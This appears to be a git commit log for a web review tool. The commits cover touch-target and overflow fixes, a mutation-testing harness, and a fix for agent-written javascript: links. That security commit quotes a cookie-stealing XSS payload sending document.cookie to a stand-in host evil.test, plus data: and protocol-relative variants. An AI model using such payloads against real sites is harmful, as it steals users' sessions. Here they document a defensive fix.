vh 704e8cd809 fix(desk): the heid bug-hunt panel on the row controls (round "Slate", 4/4)
- Touch: on a coarse pointer every row control is at least 28px square
  again (32px), and wipe stands clear of the zip link. The move onto the
  facts line had dropped the deliberate 28px floor to ~21px, 4-6px from
  zip; with scripts off no confirm fires, so a mis-tap on wipe is the
  delete. The zip link no longer breaks between its glyph and its word,
  and each separator is glued to the item after it.
- The wipe dialog shows the name as it should be read: control and bidi
  formatting characters in an agent-made name show as U+FFFD, so U+202E
  or a newline cannot rewrite what the operator approves. An unknown
  data-confirm word now prompts generically instead of submitting
  unguarded (fail closed).
- No page scrolls sideways: `code` wraps anywhere, so a long unbreakable
  install path in the footer or the empty Desk no longer widens every
  page. The overflow test now sweeps 390/720/850/1000/1400 with the
  heaviest row the Desk draws, and compares scrollWidth with the page's
  own clientWidth.

Its first fixture used a hyphenated path, which wrapped by itself; the
test passed with the bug present until the path became one unbreakable
run. r2_flow.toml: 27/27 proved. 749 passed.

vh d40e8fd4a6 fix(desk): a row's keep, release and wipe take no room of their own
Operator, on the live Desk: "release and x take up space whether or not
they're visible." They sat in a side column at opacity 0, which hides a
control and still reserves its box, and hover-only never worked on
touch.

Each control now sits on the facts line beside the state it changes:
release after "kept", keep after a countdown or hold, wipe last. They
are always visible and quiet, and wipe turns danger only under the
pointer or focus. The side column renders only when the row carries a
badge. The row is flex, so an absent column costs no gap. Forms, POST
targets and data-confirm wording are unchanged.

The flex row exposed a latent sizing bug: the stacked Desk column was a
bare 1fr, whose minimum is its content's, so a long nowrap provenance
line scrolled the page sideways at phone width (1029px at 390). It is
now minmax(0,1fr).

Both behaviours have browser tests, mutation-proved (r2_flow.toml:
21/21). Contract C4 amended.

vh 39a3cb2262 test(r2): commit the round's falsifiers as a mutation table; one flag predicate
tests/mutations/r2_flow.toml: 18 falsifiers, each proved RED under its
change by scripts/mutation_check.py (18/18). Its first run found three
vacuous proofs, now resolved:
- landed_at's per-entry skip: the symlink-loop fixture stopped raising
  once the clock moved to lstat. New fixture: a folder that lists but
  cannot be searched.
- the Desk's bench URL guard: the test covered bookmarks only. A
  hand-edited registry bench now rides with it.
- flagged_targets' `error is None`: defence in depth (hydration already
  strips a damaged mark's target), so no single-guard row; named in the
  table header instead.

The rail's flagged filter and the orphan-flag list read flagged_targets
rather than restating it; no reachable behaviour changes.

vh 447a9b67e9 fix(links): the board rendered agent-written javascript: hrefs
A live injection vector on the standing board, found by design-dev in passing,
in code his unit does not touch. Seventeen handles append to links.md and the
operator clicks its rows, so

    javascript:document.location='http://evil.test/'+document.cookie

was a clickable link executing in the Booth's own origin. //evil.test/x and
data:text/html,... rendered too.

links.py now derives is_safe_href once per row and the template links only when
it is true. A refused row still RENDERS, inert and labelled: the operator should
see that something was posted and that we would not link it.

THE NEAR-MISS IS WORTH THE COMMIT MESSAGE. We probed with javascript:alert(1),
watched it get refused, and almost closed this as already-guarded. It is refused
by the MARKDOWN LINK REGEX — alert(1)'s parens break ](...) — not by any guard.
An accident of syntax that happens to catch the one payload everybody reaches
for first. javascript:x=1 walks through. The docstring tells the next person not
to re-probe it with anything containing brackets.

Two things that look like the guard were in the way of finding there wasn't one:
that regex accident, and booth_target's http(s) check, which answers 'which
booth does this URL name' and therefore refuses every legitimate off-board link.
Reading the codebase for 'is there a scheme check' finds it and stops.

Derived in links.py rather than decided in the template, per the same
one-resolver discipline U1 states for item facts: a template that decides safety
is a second place for the rule to be wrong. urlsplit was already imported, so
the stdlib-only invariant holds; verified under system python3 3.11.2 with no
venv. 742 green, 21/21 falsifiers proved.

vh 397ea89795 fix(u7): six defects from the heid bug-hunt panel, and five vacuous falsifiers
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread
01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in
this repo could have caught, and the panel's guard-strength passes found five of
my own falsifiers green under the exact change they forbade.

THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact.
The anchor was the raw rel spliced into an href fragment while the tile id was
equally raw. A browser matches a fragment against ids RAW FIRST and only then
percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS:
with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the
fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is
the misfiled-judgment failure invariant 6 exists to prevent, arriving through a
path invariant 6 never looked at. Both sides now use `Item.url`
(`quote(rel, safe="/")`), which is injective here and is the convention
booth_flag has always used. The original test asserted the href occurred as SOME
id on the page — true while pointing at the wrong one.

GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back.
The rail was gated on the FILTERED list, so a valid filter with no matches
removed the rail, the filter links and the route back to `all`, while the
empty-booth branch announced the booth was empty with rail.total still holding
the real count. No recovery without editing the address bar, and it degraded the
same way with JavaScript off, on the surface the operator actually reviews on.
Gated on all_items now, with an explicit no-match row.

HULDA — one unrepresentable filename took out the INDEX, not just its booth.
A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it,
outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in
one booth's filename 500s every booth's card. Such a file cannot be linked,
served or zipped, so it is skipped like a dotfile.

HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which
nothing in this repo emits, so it fell through to the hidden target input;
clicking a hidden input does not submit its form, and the handler called
preventDefault anyway. Now clicks the flag form's real button, verified end to
end in a real browser.

GRÓA — a group jump was undone by the next keypress. The jump scrolls, the
cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The
cursor now picks up from the viewport, which also fixes the general
scroll-then-arrow case. Asserted on real scroll geometry in Chromium.

HULDA — the caption sidecar was read whole before being truncated, so a
pathological file was a MemoryError the OSError handler does not catch. Bounded
at the read, and deliberately NOT by st_size: a FIFO reports 0.

ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail
row count (1,000 groups of two would render 1,000 rows; the largest live booth
is 66 items and picking a cap without a booth that needs one is invented work),
and Item.group sits mid-dataclass (one construction site, keyword-only, grepped).
The docstring now names the UPPER median explicitly — two arms flagged that
"the middle group" admits both readings for an even count.

FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test
survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group
count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits;
and the escaping test asserted over the whole page, so it went red on a code
comment. All rewritten, all mutation-proved. The table is up to 20 rows and one
drifted when I changed the line under it — reported by the harness, not silently
skipped, which is the behaviour tests/test_mutation_check.py exists to hold.

660 green; 20/20 proved. Deployed; 21/21 booths 200.

Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no
scroll-margin, so a fragment jump tucks the target under it. It is one line in
base.html, the file he is rewriting from scratch.

vh 2f6a0ee821 test: keep the mutation harness — scripts/mutation_check.py, with its own controls
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into
a repo tool, on the operator's call. No version bump: test tooling and docs, no
production-code change, per the SemVer SKIP list.

A green test is not evidence. A test that has never seen its own defeating
change may pass under it too, forbidding nothing while reading as though it
forbids something. This repo shipped that three times — twice in one session,
and once an hour after writing the persistent-memory entry about it. Prose in a
memory file is not an instrument.

Tables live in tests/mutations/*.toml, one per unit, committed so a unit's
proofs are an artifact rather than terminal scrollback. Adding a unit means
adding a file, never editing the script. u7_navigation.toml was generated from
the harness that proved those twelve, not retyped, and every anchor was verified
against the source before it landed.

THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It
shipped two defects in one session, each of which made it report a falsifier
PROVED WITHOUT RUNNING IT, and both were found by accident rather than by
anything checking:

  no green baseline — a test that is ALREADY red reports red for every mutation
  thrown at it, so a broken assertion reads as a certified falsifier

  the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython
  validates a .pyc against the source's (mtime, size) at one-second granularity,
  so a mutation landing in the same second as the revert before it runs against
  cached bytecode; the tell was a verdict flipping between consecutive identical
  runs

tests/test_mutation_check.py now carries a control for each, plus the one
usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument
that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind",
and twelve `proved` lines from a blind instrument are worth nothing.

Also hardens the tool against itself: it writes to tracked source files, so the
restore is verified rather than assumed, and a .mutation-inflight marker makes a
run killed mid-mutation refuse the next start instead of silently measuring a
mutated tree.

648 tests green; 12/12 U7 falsifiers still proved.
